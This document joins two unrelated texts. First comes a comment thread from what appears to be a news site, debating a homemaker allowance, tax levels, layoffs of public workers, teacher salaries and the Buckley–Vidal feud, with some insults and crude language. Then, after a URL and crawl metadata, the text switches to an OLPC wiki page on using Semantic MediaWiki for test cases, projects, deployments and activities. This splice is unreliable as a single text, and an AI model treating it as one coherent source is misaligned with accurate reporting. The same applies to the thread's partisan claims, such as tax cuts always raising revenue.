Instead of enabling working couples with subsidised daycare, enable single-income couples with a homemaker allowance... Vast numbers of women, and a growing number of men, given the option, would rather be homemakers... Help them realise their dreams
..
You did say M.S... People should be allowed "to stay home and raise their kids".. That's a start
..
We are up against some pretty delusional thinking... Juvenile females want it all... Unsuccessful working women want to abolish successfully married couples... And economic bean-counters discount home life and only attach value to 'economic' activity... No value is attached to the homemaking role
..
We are a rich country... We mustn't think ourselves poor... We mustn't think ourselves into poverty... Think rich
Only after we destroy the gender roles that you associate with "Breadwinner" and "Homemaker".
meh. GUC only hides his real agenda with this line. All he is suggesting is to bias wages in favor of men which is morally wrong, and skips over a more basic notion of better pay for everyone.
Businesses make money, tech makes people less and less necessary.!"
Where you been, Uncle Clive?
"A HOMEMAKER ALLOWANCE anyone?.. And a policy of one good job per family... i.e good jobs for breadwinners... And part-time work for homemakers... Isn't that a little more realistic than guaranteed work for everybody?"
I agree wholeheartedly, so long as the allowance is strictly gender-neutral. :P
I think it's not just what you say but _how_ you say it.
The current structure of Republican rhetoric requires that a punitive template be used: "Recipients of government support should be required to do a lick of work in order to receive cash."
That's why Buckley was speechless: his objective was the opposite of Greenstein's. It's a case of the means justifying the ends..
"the people who don't want to pay taxes because they don't have money."
The loudest backlash doesn't come from here, but from those who don't want to pay taxes because they DO have money and they're more interested in taking more of it from the government, than they are in helping other people.
Sorry, that was a typo. I meant to say that they don't want to pay taxes because they have the most money to be taxed and they feel that they earned it all themselves and they feel no sense of connection to the poor, therefore to them taxes are a form of theft.
Find me someone in the middle class who wants to pay more taxes. Hating taxes is a lot more popular than you seem to think.
I would be willing to so there's one. My friends would be willing to so there's like a few dozen. A lot of people are willing to do it if it actually addresses some pressing issue. Another problem though is there is a significant lack of faith that current government will use those revenues responsibly.
But yes I understand that nobody really likes to be taxed. Responsible adults pay their taxes anyways.
Melissa - are you implying that if the governemnt takes more - or all the money from people who work that the government can help more people? That is socialism (an economic system TE advocates for constantly) the history of socialism and the human devistation that the sociaist economic model wreaks on humanity is well documented - are you advocating continually repeating this same experiment - and expecting a different outcome -- there is a psycological term for this.
Uh, me. I am middle class, and I would like to pay more taxes. Unfortunately, there is no political supply to respond to my demand.
You do understand that simply raising taxes continually does not work.
A good piece published right on time today....
or even better the long version:
Responsible adults pay their taxes. Really responsible adults want to have to pay enough taxes to actually pay for the government, instead of running a deficit and leaving the debt to our children.
But when you raise taxes to high enough levels to actually pay for all the government spending, then reasonable responsible adults start asking "Is this much government necessary? *All* of it? Really?"
Responsible adults pay their taxes anyway. But they also want the government to be rather more responsible than it has been.
That would be easy. All you have to do is not take your mortgage deduction, or dependents, or whatever deductions you are entitled to.
Voila! You will get your wish.
I imagine that raising taxes to a point where you are taxing people 100% of their incomes wouldn't work, no. Not disputing that, or calling for that.
But currently we enjoy some of the lowest tax rates in the developed world. We've got quite a bit of wiggle room here before we "tax everyone to death". Actually, a lot of wiggle room.
Also, if trickle down isn't an economic policy advocated by some, then what explains the Bush trillion dollar tax cut which primarily benefited the wealthy? Or all of the other things that have happened whenever Republicans have been in office over the last 30+ years? If it's not for the sake of top-down economic policy then it's basically bald-faced self-servience, no?
I would have expected them to be lower, people take care of themselves in the US, rather than having some Communist hang-up socialist healthcare/medical system.
What are you trying to achieve is the question?
Bush, Regan, Coolidge,JFK all cut taxes and goverment tax revenues increased- Fact!
So if its just a socialist argument for the sake of 'equality' then fair enough.
Taxing the upper income classes to even the score is the modern version of the Russian story where the peasant wants only that his neighbor be worse off, without any real concomitant benefit to himself, or even being worse off, because there is less economic growth and opportunity. The goverment does not create wealth, it is a destroyer of wealth.
"You do understand that simply raising taxes continually does not work."
As opposed to the intellectual bankrupcy that has led us to historically low taxes for the rich, even as those historically low taxes have provided zero benefit tot he economy?
Put the taxes back up to reasonable, then we'll talk about whether or not raising taxes is a bad thing.
You're an ignorant socialist, as your other posts have clearly demonstrated . I would suggest you watch the link I provided. Then probably spend the rest of the day watching all other videos over 30 minutes featuring Dr Sowell, if you want to understand social policy, for a start.
"Intellectual"- Definition; person who has a very specialized knowledge, who believes that very limited and specialized knowledge can be generalized to assume superior knowledge over all matters.
Add this to your list:
It's not ignorant to have some basic knowledge of history, which you apparently lack.
.
But really, since your own posts betray your ignorance, attacking anyone who might have an education, complaining about someone having intelligence, et cetera, I don't see why I should give a damn.
Last try:
"the decision to lay off large numbers of teachers, police officers, social workers, and transportation and infrastructure workers has got to rank right near the top of the list. "
So, we take someone who last hung drywall for a living, strap a Glock on him, and now he is a cop? As for social workers, how many of the unemployed need their services for themselves rather than being in a position to offer them? And, as teachers . . . well, this just confirms what many of us have long believed. Anyone can do that job!
When the economy returns to low unemployment do we then fire these new teachers, cops and social workers because other jobs are now available? And the municipal unions . . . how delighted will THEY be to see the unemployed flocking to those jobs at below-union rates?
The essay's spirit is generous and well-meant but it seems politically naive -- almost utopian. People who are unemployed have such varying skills, live in such different locales and have such different needs that one can only imagine the chaos that would result from this proposal.
The WPA and PWA did useful work during the Depression. But, Americans aren't that desperate today -- they have SNAP and unemployment insurance. If we cancel those programs in order to hand the unemployed a shovel and tell him to start digging then government guaranteed jobs might be attractive when compared with starvation. But . . . do we want to cancel programs like SNAP and UI?
At the present, we provide both money (UI) and in-kind (SNAP) assistance and these seem reasonably efficient. What will we gain from a "square peg in round hole" national program to shoehorn John or Jane Public into a temporary job that probably is make-work to begin with, often requires long and specialized training and exerts downward pressure on the wages and benefits of those workers who have found jobs?
M.S.'s heart may be in the right place. But, the way we provide for the unemployed today, while not perfect, seems preferable to a Rube Goldberg version of the New Deal.
I think you misunderstand me. The point is precisely that to avoid having to hire people who aren't qualified for public jobs, one excellent initial step would be to not fire the ones who already are.
Well, he may have missed the point because your last sentence ("I am sure that in the current climate of bipartisan comity, this rational compromise will be embraced by all sides.") gave the impression that the entire paragraph might be sarcasm, rather than a serious suggestion.
Only the reference to "the current climate of bipartisan comity" was sarcastic. My colleague's proposal was clearly not.
*I* got that part. (And a good laugh, I confess.) But I can see how someone else might have missed it.
I imagine we could have more teachers and police without placing downward pressure on the wages of the existing teachers/police because their wages aren't competitively determined; they are paid by the government who can set an artificial wage floor as they already do. I also imagine hiring more teachers would lower class sizes which has proven beneficial effects on learning, so it's not like there would be no beneficial effect here.
True that having a wage floor is not the most efficient way to sort out the most productive teachers from the less productive, but there are some other ways to measure this. That is essentially the tradeoff between private sector and government in a nutshell, though: You are trading efficiency for inclusiveness much of the time. Just look at the post office....They have to deliver to everyone whether or not it is cost effective to do so, so they wind up being much less efficient than their private sector peers.
If the Republicans in Congress had their say, those people wouldn't have UI or SNAP, either, because they view these programs as perpetuating free riders on the backs of contributors. Where are the unemployed without those? Probably not dead (at least in the short term) because people don't just lay down and die when the fat is trimmed as much as some of us would like them to.
Probably what they'll do when society completely casts them out is turn to non-socially sanctioned means of survival aka crime or they'll get really mad at the people who sent them packing (or both).
So when they turn to crime, we end up with mass incarceration because people who engage in criminal behavior usually end up in prison. While there you are subsidizing them as well by paying for their food and shelter and healthcare in addition to security measures to keep them locked in a box with a bunch of other criminals (meaning they are criminalized further). Except when you subsidize them in prison they are MUCH more expensive to subsidize and it is far less possible to get these people back into the legitimate job market.?"
Why are public revenues insufficient? We have the ability to change the amount of public revenues that are taken in. We also have the ability to change the amount of public spending too, obviously. This is all under our control. The only question is who will be asked to sacrifice?
Preferably everyone if you ask me, which nobody did.
So, who do we tax in Detroit? Do we increase taxes on John and Jane Q Public who, as often as not, are barely above the poverty line? Do we increase the tax assessment on abandoned houses seized by the city -- because the property taxes associated with them were in arrears? Do we increase the taxes paid by businesses -- that already have more than enough reasons to flee Detroit like bats out of hell without this added burden?
"We have the ability to change the amount of public revenues that are taken in." Once again, a counsel of perfection -- if we don't have enough revenue because the people refuse to raise taxes then we easily get around that problem by raising taxes."
Maybe the solution is that we support ourselves by taking in each other's laundry!
Detroit is kind of a special circumstance, don't you think? How many other cities have had their primary reason for existence skip town?
Detroit is an extreme case. But the same phenomena can be seen in a lot of cities, even if not to the same extent. Increasing (business) taxes there will merely encourage them to shift a few miles away to the suburbs. Where, thanks to minimal public transportation infrastructure in the suburbs, will mean more unemployment for those still stuck in the city.
That sounds great in theory, but there are problems in practice. The first is that not firing public workers will only have limited effect on overall unemployment. Obviously, the ranks of unemployed include more than just fired teachers. Secondly, you're talking several layers of government, not all which have money. Some are even bankrupt (Hi, Detroit!). Most of the jobs you cite (teachers, police, road workers) are not employed on the federal level. Are you thinking of some sort of transfer from the federal to local governments to pay for all of them? Finally, as several folks have pointed out, these are all unionized jobs. I live in Illinois, and a big problem here is not wages for unionized workers (as everyone will tell you, teachers are not paid well), but benefits, including pensions. These costs are threatening to swallow state and local governments. For good or ill, one of the most expedient ways to limit these costs are to fire current workers. That's why these jobs are being cut. The alternative is to raise taxes substantially or work out deals with the unions. You'd have better luck just handing out checks to the unemployed.
"one excellent initial step would be to not fire the ones who already are."
Ah, but the existing teachers are not necessarily CURRENTLY QUALIFIED to teach. Their qualification was verified only during their last re-assessment, which may have been decades ago.
Never assume that being presently in a job means that the individual is qualified to be in the job in the first place: There are always frauds...
Is it just a coincidence that the "needed services" listed are also the highly unionized services. The high cost per unit (worker)makes it difficult to take your solution seriously - unless you are proposing paying teachers and police welfare-like wages.
We sort of already pay teachers welfare wages.
In my school district, teachers at the high school who have 10 years of service make six figures, and make no contribution to their health insurance premiums. If that is near welfare wages, I'd like to move to your area and sign up for welfare.
Where do you live because I want to go there if high school teachers with 10 years experience make six figures.
Illinois district 200, just outside of Chicago
Average teacher income is 57k, which is quite generous compared to other districts. 10% higher teacher pay than the national average. It's a rather affluent city, with median pay of $81k
And also not six figures by a fair stretch....
I think police get a better deal right off the bat, and they end up costing a whole lot more, with overtime (not much available to teachers) and the bounce that gives to their retirement.
Your link is to the wrong school district, and is the pay scale for the elementary school teachers.
District 200 is the High School, where the salaries are much higher. While the average is below six figures, and large proportion of the teachers with seniority make over six figures. Principals make over 200k. and test scores are falling...
I remember when Buckley threatened,"to punch gore vidal in the mouth." This is the typical conservative response to alternate views, lifestyles, and realities.
I wish he had done it. Vidal accused Buckley of being "a crypto-Nazi." Vidal had a big mouth and a mean spirit -- it would have done the nation good to see him go head over teakettle on national TV back in '68 with Buckley's foot planted up his ass.
Go to any town hall meeting. Conservatives boo liberal speakers. Liberals spit and throw things at conservative speakers.
Hasn't happened at the town hall meetings I've been to.
Maybe it's only for the television camera?
Buckley was not the nicest character himself. His nastiness was just more bloodless.
Mouth like an asshole, to use a line from Steinbeck. | http://www.economist.com/comment/2260611 | CC-MAIN-2014-52 | refinedweb | 7,239 | 64.41 |
i have some code which reads from a .txt file and picks up PL football teams from the file... and sends them to a String... how can i make it so i get only one team once i.e no teams repeat?
this is my code:
Code :
import java.util.ArrayList; import java.util.Arrays; import java.util.Comparator; import java.util.List; import java.io.FileReader; import java.io.BufferedReader; import java.io.IOException; public class generatortest { private static class Team{ private String team; int GamesPlayed; int GoalDifference; int GamesWon; int GamesDrawn; int GamesLost; int Points; public void setteam(String team) //defining team names as string { this.team = team; //Sets team } public String toString() { StringBuilder organiselayout = new StringBuilder(); organiselayout.append(this.team); return organiselayout.toString(); } } generatortest() throws IOException { BufferedReader bufferedReader = new BufferedReader(new FileReader("PL.txt")); //Reads In Assignment file or your file. if (bufferedReader != null) { String text; //sets each line read as a text string while ((text = bufferedReader.readLine()) != null) { String[] split = text.split(":"); // splits the string text at each colon List<Team> Games = new ArrayList<Team>(); //Listing the array of the Team class // If the Length of string is greater than 4 then match is classed as valid if (split.length >= 4) { Team League = new Team(); //adds the text values to the Team Class League.setteam(split[0].trim()); //the 0 string is the home team when reading from the file League.setteam(split[1].trim()); //the 1 string is the away team when reading from the file Games.add(League); //adds the previous games into 1 entity System.out.println(League.toString()); } } bufferedReader.close(); //closes reader } } public final static void main(String [] args) throws IOException { new generatortest(); } }
I know it contains integers that aren't used locally at the minute but i eventually want to compare this list and re-loop through the text file taking more information to build myself a league table..
Thanks RSYR | http://www.javaprogrammingforums.com/%20collections-generics/2135-array-string-problem-printingthethread.html | CC-MAIN-2015-22 | refinedweb | 320 | 68.87 |
For Day 14, the challenge is to generate a sort of map by generating hashes, and then count the number of contiguous regions in that map. My Python solution is:
import Queue from day10 import hash with open("input.txt", "r") as o: key = o.read().strip() ones = [] for i in range(128): h = hash(256, "%s-%s" % (key, i)) l = int(h, 16) ones += [(i, x) for x in range(128) if (l >> x) & 1] part1 = len(ones) regions = 0 queue = Queue.Queue() while len(ones) > 0: queue.put(ones[0]) regions += 1 while not queue.empty(): n = queue.get() if n in ones: ones.remove(n) queue.put((n[0] - 1, n[1])) queue.put((n[0] + 1, n[1])) queue.put((n[0], n[1] - 1)) queue.put((n[0], n[1] + 1)) print "Part 1", part1 print "Part 2", regions
It uses the hash method from my solution to day 10. My first solution stored everything in a two dimensional array but I simplified it to the queue version so I only need to store the (relatively few) ones.
Advent of Code runs every day up to Christmas, you should join in!.
Get the latest posts delivered right to your inbox. | https://blog.jscott.me/advent-of-code-day-14/ | CC-MAIN-2018-43 | refinedweb | 205 | 85.39 |
There seems to be some doubt amoung my peers over the use of a Thread ID, referred to here as a TID.
The most obvious difference between a HANDLE and a TID is that a HANDLE is specific to a process, whereas a TID is system wide.
A HANDLE is actually an unsigned int (whereas a UNIX file descriptor is a signed int) and is an index into the process's Handle Table, which is maintained by kernel.
A TID is a type of Client ID, the other type of Client ID being a PID (Process ID). TIDs and PIDs are generated in the same namespace and used by the kernel to identify these objects system wide.
So, why would you need the TID? You don't. At least, not often. A TID may be passed between processes, and another process can then get a HANDLE to that thread using the OpenThread() API.
Yes, you can manipulate threads in other processes - the caveat being that security may stop you, particularly in Windows Vista. Once you have a HANDLE to another thread you can do all those wonderful things, Suspend, Resume, Wait, GetExitCode, as you can if the thread is in the same process. One of the useful APIs in this context is PostThreadMessage(). This sentence is mis-leading, PostThreadMessage takes a TID, see comment from Hibou57 below.
BTW: make sure that HANDLE is closed, the thread cannot truly die until all HANDLEs to it are closed - that is how GetExitCodeThread() works. And you thought zombies only occurred on UNIX?
It is possible to use DuplicateHandle() to get a handle opened by another process, but that is far more painful than the MSDN implies.
Friday, January 04, 2008
(Windows) What is the difference between a thread's HANDLE and its ID?
2 comments:
As the wording may be confusing, PostThreadMessage expects a Thread ID, not a Thread Handle :
BOOL PostThreadMessage
(DWORD idThread,
UINT Msg,
WPARAM wParam,
LPARAM lParam);
By the way, this is the only case I know where a Thread ID is required.
Hibou57
Absolutly correct. I guess the reason is that PostThreadHandle can be used to communicate to threads in other processes, and there does not appear to be any security on this. Getting a handle to a thread requires access rights. | http://darkeside.blogspot.com/2008/01/windows-what-is-difference-between.html | CC-MAIN-2019-18 | refinedweb | 383 | 69.11 |
John Running Windows 10 version 1803. Upgraded to GNUCash 3.0 from 2.6.19. No issues - everything looks good. Thanks!
Reports run much faster now. Cleaner looking interface (not sure if the fonts changed or what -- but appears much clearer and crisper. ) Nice enhancements. Running now for a couple of hours -- no issues. Thanks again! -----Original Message----- From: gnucash-user <gnucash-user-bounces+pyz01=cox....@gnucash.org> On Behalf Of John Ralls Sent: Friday, April 6, 2018 2:15 PM To: Gnucash-User <gnucash-user@gnucash.org> Cc: gnucash-devel <gnucash-de...@gnucash.org>; gnucash-annou...@gnucash.org Subject: GnuCash 2.6.20 Released The GnuCash development team announces GnuCash 2.6.20, the twenty-first and final maintenance release in the 2.6-stable series. Note: This is the last version of GnuCash that will support MacOS X versions earlier than 10.9 or Microsoft Windows versions earlier than Windows 7. Changes Between 2.6.19 and 2.6.20, the following bugfixes were accomplished: * Bug 765846 - Expense Over Time for subaccounts: An error occurred while running the report: Fix crash if acc-depth too low. * Bug 791848 - GC 2.6.x does not handle ISO dates introduced with GC 2.7 Enable reading ISO-formatted dates, recognize GNC_FEATURE_SQLITE3_ISO_DATES. * Bug 792008 - gnucash 2.6.19 fails to build Replace g_assert_true with g_assert for now * Bug 793278 - wrong data in charts with accumulated values (like "net-linechart", "net-barchart" and "liabilities barchart") * Bug 794030 - relative date functions compute wrong day of month * Bug 790526 - Mathematical bug This change will fix 'num-of-weeks-since-1/jan/1970' which formerly used quotient to remove the fractional part of the division. For negative values of num-of-weeks, the number is truncated in the wrong direction (i.e. towards 0). This change uses floor instead to ensure the num-of-weeks found is the nearest integer LESS than the fractional number. Some other fixes not associated with reported bugs: * Online HBCI actions: Remove outdated non-SEPA menu items. * Add XML namespaces for all Account Hierarchy Templates. * General cleanup of Account Hierarchy Templates. * Fix auto-selection of splits in reconcile. Really use all splits of any given day. Up to now usually the splits of the given date were not or not all included, as the time comparison didn't correctly ignore any given time-of-day of the splits. Instead, all possible time-of-days should be included. * Properly detect git in case of linked worktree. * Account Hierarchy for India: Set LANGUAGE=hi and LANG=en_IN to access it. * Improve Import menu entries Customer & vendors use same menu label as others, replace template by tooltip, add ellipsis to entry, add comments to distinguish "Import" as verb and substantive. * Provide preference panel to set the Alpha Vantage API key needed for Finance::Quote. * Correct the appstream definition to match the current spec. * Fix collectors and min-date handling in reports. Translation Updates: Dutch, German, Spanish, Russian. Documentation Concurrent with the release of Gnucash 2.6.20 we're pleased to also release a new version 2.6.20 of the companion Help and Tutorial and Concepts Guide. * Bug 782423 - Help 10.2. Setting Preferences is outdated. * Changing text in Help to reflect changes in Preferences dialogs. * Translation of the german guides metafile a disk image containing a drag-and-drop application bundle. The SHA256 Hashes for the downloadable files are: 44baf7d0133b8bdc9fcb819ee4360afaca2f03a1a254c0221d02e23f35c93025 gnucash-2.6.20.tar.bz2 64b463a1c029e42983d8daebc332964ef6a98a2101a6f3b85a047e45c03a5eef gnucash-2.6.20.tar.gz d985cb4147d3a347ab10090ed12583c65293324d821a45db4f6c0bc5a3718637 gnucash-2.6.20.setup.exe 65b188c993a3e53ba8ebb52dcf6f5e153021df529bb34e1e5b33f45d3c34523d Gnucash-Intel-2.6.20-1.dmg 4986d87bfac7b4ad3b8526d4337697c0cdb3ef447f510ced110f764ea4f68ad8 Gnucash-PPC-2.6.20-1.dmg 65c9ecf2d45ff432d35f8c955d36475c0f3ccecd271dc21435b091f50c6b08ea gnucash-docs-2.6.20.tar.gz Getting GnuCash for Windows and MacOS GnuCash is provided for both Microsoft Windows XP® and later and MacOS X 10.9 (Mavericks)® and later in pre-built, all-in-one packages. An installer is provided for Microsoft Windows® while the MacOS X® package is a disk image containing a drag-and-drop application bundle. SourceForge: Download GnuCash for Win32: Download GnuCash for Mac-Intel: Download GnuCash for Mac-PPC: Github Download GnuCash for Win32: Download GnuCash for Mac-Intel: Download GnuCash for Mac-PPC: Getting GnuCash as source code If you want to compile GnuCash 2.6.20 2.6.20 documentation can be found under "GnuCash v3 (current stable release)" in multiple languages both for reading online and for download in pdf, epub, and mobi formats. If you want to compile the GnuCash Documentation 2.6.20 for yourself, the source code can be downloaded from: Sourceforge: GitHub: You can also checkout the sources directly from the git repository as described at. Detailed instructions for building GnuCash may be found at and for the Documentation at. About the Program. | https://www.mail-archive.com/gnucash-user@gnucash.org/msg05480.html | CC-MAIN-2018-43 | refinedweb | 793 | 51.85 |
import "github.com/gdamore/tcell".
attr.go cell.go charset_unix.go color.go colorfit.go console_stub.go doc.go encoding.go errors.go event.go interrupt.go key.go mouse.go resize.go runes.go screen.go simulation.go style.go tscreen.go tscreen_linux.go") )
ColorNames holds the written names of colors. Useful to present a list of recognized named colors.
ColorValues maps color constants to their RGB values.(fb EncodingFallback)
SetEncodingFallback changes the behavior of GetEncoding when a suitable encoding is not found. The default is EncodingFallbackFail, which causes GetEncoding to simply return nil.
AttrMask represents a mask of text attributes, apart from color. Note that support for attributes may vary widely across terminals.
const ( AttrBold AttrMask = 1 << (25 + iota) AttrBlink AttrReverse AttrUnderline AttrDim AttrNone AttrMask = 0 // Just normal text. )
Attributes are not colors, but affect the display of text. They can be combined. left mouse button. Button2 // Usually the middle mouse button. Button3 // Usually the right. )
These are the actual button values. (cb *CellBuffer) Dirty(x, y int) bool
Dirty checks if a character at the given location needs an to be refreshed on the physical display. This returns true if the cell content is different since the last time it was marked clean.
func (cb *CellBuffer) Fill(r rune, style Style)
Fill fills the entire cell buffer array with the specified character and style. Normally choose ' ' to clear the screen. This API doesn't support combining characters, or characters with a width larger than one.
GetContent returns the contents of a character cell, including the primary rune, any combining character runes (which will usually be nil), the style, and the display width in cells. (The width can be either 1, normally, or 2 for East Asian full-width characters.)
func (cb *CellBuffer) Invalidate()
Invalidate marks all characters within the buffer as dirty.
func (cb *CellBuffer) Resize(w, h int)
Resize is used to resize the cells array, with different dimensions, while preserving the original contents. The cells will be invalidated so that they can be redrawn.
SetContent sets the contents (primary rune, combining runes, and style) for a cell at a given location.
func (cb *CellBuffer) SetDirty(x, y int, dirty bool)
SetDirty is normally used to indicate that a cell has been displayed (in which case dirty is false), or to manually force a cell to be marked dirty.
func (cb *CellBuffer) Size() (int, int)
Size returns the (width, height) in cells of the buffer. teminal default may exist. ColorDefault Color = -1 // ColorIsRGB is used to indicate that the numeric value is not // a known color constant, but rather an RGB value. The lower // order 3 bytes are RGB. ColorIsRGB Color = 1 << 24 )
const ( ColorBlack Color =.
FindColor attempts to find a given color, or the best match possible for it, from the palette given. This is an expensive operation, so results should be cached by the caller.
GetColor creates a Color from a color name (W3C name). A hex value may be supplied as a string in the format "#ffffff".
NewHexColor returns a color using the given 24-bit RGB value.
NewRGBColor returns a new color with the given red, green, and blue values. Each value must be represented in the range 0-255.
Hex returns the color's hexadecimal RGB 24-bit value with each component consisting of a single byte, ala R << 16 | G << 8 | B. If the color is unknown or unset, -1 is returned.
RGB returns the red, green, and blue components of the color, with each component represented as a value 0-255. In the event that the color cannot be broken up (not set usually), -1 is returned for each value..)
Event is a generic interface used for passing around Events. Concrete types follow.
An EventError is an event representing some sort of error, and carries an error payload.
func NewEventError(err error) *EventError
NewEventError creates an ErrorEvent with the given error payload.
func (ev *EventError) Error() string
Error implements the error.
func (ev *EventError) When() time.Time
When returns the time when the event was created.
EventHandler is anything that handles events. If the handler has consumed the event, it should return true. False otherwise.
EventInterrupt is a generic wakeup event. Its can be used to to request a redraw. It can carry an arbitrary payload, as well.
func NewEventInterrupt(data interface{}) *EventInterrupt
NewEventInterrupt creates an EventInterrupt with the given payload.
func (ev *EventInterrupt) Data() interface{}
Data is used to obtain the opaque event payload.
func (ev *EventInterrupt) When() time.Time
When returns the time when this event was created..
Modifiers returns the modifiers that were present with the key press. Note that not all platforms and terminals support this equally well, and some cases we will not not know for sure. Hence, applications should avoid using this in most circumstances.
Name returns a printable value or the key stroke. This can be used when printing the event, for example.
Rune returns the rune corresponding to the key press, if it makes sense. The result is only defined if the value of Key() is KeyRune.
When returns the time when this Event was created, which should closely match the time when the key was pressed.(x, y int, btn ButtonMask, mod ModMask) *EventMouse
NewEventMouse is used to create a new mouse event. Applications shouldn't need to use this; its mostly for screen implementors.
func (ev *EventMouse) Buttons() ButtonMask
Buttons returns the list of buttons that were pressed or wheel motions.
func (ev *EventMouse) Modifiers() ModMask
Modifiers returns a list of keyboard modifiers that were pressed with the mouse button(s).
func (ev *EventMouse) Position() (int, int)
Position returns the mouse position in character cells. The origin 0, 0 is at the upper left corner.
func (ev *EventMouse) When() time.Time
When returns the time when this EventMouse was created.
EventResize is sent when the window size changes.
func NewEventResize(width, height int) *EventResize
NewEventResize creates an EventResize with the new updated window size, which is given in character cells.
func (ev *EventResize) Size() (int, int)
Size returns the new window size as width, height in character cells.
func (ev *EventResize) When() time.Time
When returns the time when the Event was created.
EventTime is a simple base event class, suitable for easy reuse. It can be used to deliver actual timer events as well.
SetEventNow sets the time of occurrence for the event to the current time.
SetEventTime sets the time of occurrence for the event.
When returns the time stamp when the event occurred.). HideCursor() // Size returns the screen size as width, height. This changes in // response to a call to Clear or Flush. Size() (int, int) // PollEvent waits for events to arrive. Main application loops // must spin on this to prevent the application from stalling. // Furthermore, this will return nil if the Screen is finalized. PollEvent() Event // PostEvent tries to post an event into the event stream. This // can fail if the event queue is full. In that case, the event // is dropped, and ErrEventQFull is returned. PostEvent(ev Event) error //.) EnableMouse() // DisableMouse disables the mouse. DisableMouse() // }
Screen represents the physical (or emulated) screen. This can be a terminal window or a physical console. Platforms implement this differerently.
NewConsoleScreen returns a console based screen. This platform doesn't have support for any, so it returns nil and a suitable error.
NewScreen returns a default Screen suitable for the user's terminal environment.
NewTerminfoScreen returns a Screen that uses the stock TTY interface and POSIX termios,(charset string) SimulationScreen
NewSimulationScreen returns a SimulationScreen. Note that SimulationScreen is also a Screen.
Style represents a complete text style, including both foreground and background color. We encode it in a 64-bit int for efficiency. The coding is (MSB): <7b flags><1b><24b fgcolor><7b attr><1b><24b bgcolor>. The <1b> is set true to indicate that the color is an RGB color, rather than a named index.
This gives 24bit color options, if it ever becomes truly necessary. However, applications must not rely on this encoding.
Note that not all terminals can display all colors or attributes, and many might have specific incompatibilities between specific attributes and color combinations.
The intention is to extend styles to support paletting, in which case some flag bit(s) would be set, and the foreground and background colors would be replaced with a palette number and palette index.
To use Style, just declare a variable of its type.
StyleDefault represents a default style, based upon the context. It is the zero value.
Background returns a new style based on s, with the background color set as requested. ColorDefault can be used to select the global default.
Blink returns a new style based on s, with the blink attribute set as requested.
Bold returns a new style based on s, with the bold attribute set as requested.
Decompose breaks a style up, returning the foreground, background, and other attributes.
Dim returns a new style based on s, with the dim attribute set as requested.
Foreground returns a new style based on s, with the foreground color set as requested. ColorDefault can be used to select the global default.
Normal returns the style with all attributes disabled.
Reverse returns a new style based on s, with the reverse attribute set as requested. (Reverse usually changes the foreground and background colors.)
Underline returns a new style based on s, with the underline attribute set as requested.
Package tcell imports 20 packages (graph) and is imported by 143 packages. Updated 2018-10-30. Refresh now. Tools for package owners. | https://godoc.org/github.com/gdamore/tcell | CC-MAIN-2018-51 | refinedweb | 1,592 | 67.65 |
Semantic MediaWiki
From OLPC
There's a lot of information on wiki.laptop.org. wikipedia:Semantic MediaWiki is an extension that lets you annotate existing wiki text and templates so that you can query and explore this information. Done right we get less duplication, more standardization, and easy information reuse.
mw:Semantic Forms is another extension that exploits SMW to let users edit template information in a form.
Where Semantics are being used
You can browse Special:Properties to see properties in use. You can use Special:Allpages to display Form: pages.
For tests
Many tests in 2008 used semantic annotations, so we can query for them. See Test cases 8.2.0 and Testcase Query Examples.
To display query results so that they look like the test case (green badge), use format=embedded. To display in some other format, someone has to create Template:Display_query_row_in_a_gray_box and use format=template | template=Display query row in a gray box
Some test results are also using semantic annotations, see TestResults 8.2.0.
Issues for Test cases
- None of the properties are documented, none of the fields say whether they are optional or not.
- Compare Tests/Sugar Control Panel/About Me/Color Change and Eben's Tests/Home view, latter uses different terminology: Justification (like Feature?), Actions (like Procedure?, Verify (like Expected results and pass criteria?
- Property:Build stream could usefully have service links to builds, diffs, packages, etc. This requires lowercase names (most URL's use joyride, not Joyride). See Property:Build stream for a discussion.
Maybe an integrated system that manages test cases and test results is better, such as Mozilla's Litmus. According to Community testing meetings/2008-12-04, "Adric" was going to set up a demo of this.
Organizing Test cases
We are using long titles with subpages that identify area, e.g. Tests/Sugar_Control_Panel/About_Me/Color_Change. Putting the organization in the name ensures test cases will appear in a useful order in generic queries.
Could also/instead use subcategories of Category:Test cases to identify the kind of test, but Semantic Forms has limited capability to assign categories. A query for a category will find things in its subcategories, so it's fine to have a detailed category hierarchy.It might be possible to make a semantic query for test cases "like" Tests/Sugar_*. to only show certain test cases. Or you can ignore semantics and use MediaWiki's Special:PrefixIndex to list subpages, e.g. {{Special:PrefixIndex/Tests/Sugar}} lists all pages named "Tests/Sugar...":
The Test page uses this technique to show all its subpages. . The downside of this simple hack is it can only list titles, it doesn't show semantic info in the matching pages.
Issues for test results
The form editor lets you add multiple test results to a test case. So a page like Tests/Upgrades/DataIntegrity can have both values for Property:PassFail, and you can't tell in a query which one is associated with a particular build. To isolate each result, you would have to create a separate page for each combination of test case and build, e.g. TR_Build2230/Upgrades/DataIntegrity. That's a lot of pages to name, although Semantic Forms can automatically generate a unique page as you fill in a form]. Is there any reason to have semantics for each test result, when you can simply visit a page with the test results?
Test results are less suitable for a wiki (thousands of them, complex grouping and master-detail relationships, a desire for statistics and graphing, etc.). OLPC testers wrestled with several alternatives to manage test case results (Google docs, Google forms); the best page on the subject is Community testing meetings/2008-11-06/Displaying testing metrics in motivating ways.
Test results details
Form:Test_case somehow has adds a Template:Test results for each test result. There's also Form:Test Results which brings up a broken editing form and invokes a non-existent Template:Test Results, see Try_to_break_2.
Sj and others figured out how to put a + button in a query to add a test result, see {{Add-test-result}} used by {{Test-case-query}} in e.g. Test cases 8.2.0.
- TODO: figure out a generic way to have a link _Log a test result_ that when clicked goes to Form:Test_result and the wiki editor fills in a form that creates a test result linked to the original page. Then any page with a test on it can be "filled out" with test results that anyone can enter!
add a result for "Trying to break"
- Property:PassFail perhaps should be Type:boolean, just Pass true/false.
- Property:Trac bug number perhaps should be Type:URL, see discussion above.
For projects and tasks
See Form:Tasks and Form:Project, and their respective template pages Template:Task and Template:Project. We would like to use the Project, and Task forms to track projects, and to some extent replace the project database (what is this?) The tasks template should be for small open tasks that will then be populated on aggregate pages based on various properties like priority and skill set required.
- As of February 2009 it seems like this didn't catch on. {{Project-summary}} is used more than Template:Project — I'm not sure why the former wasn't adapted to set the same semantic properties. There are very few tasks, and none setting properties like Property:Skills needed or Property:Done. -- skierpage 01:29, 10 February 2009 (UTC)
For deployments
All deployments have the deployment template on them. They also have the "edit with form" tab on the main page. This is seen on for example OLPC Peru. This information is aggregated on the page Deployments, using a semantic query. Also see Deployment query examples.
For activities
There is currently the Template:Activity page that is annotates general information about activities. Form:Activity fills this in. There is also a Template:Activity bundle that allows for multiple bundle versions so that you can keep track of, for example, the last activity version that works with build 656 separately from the latest version.
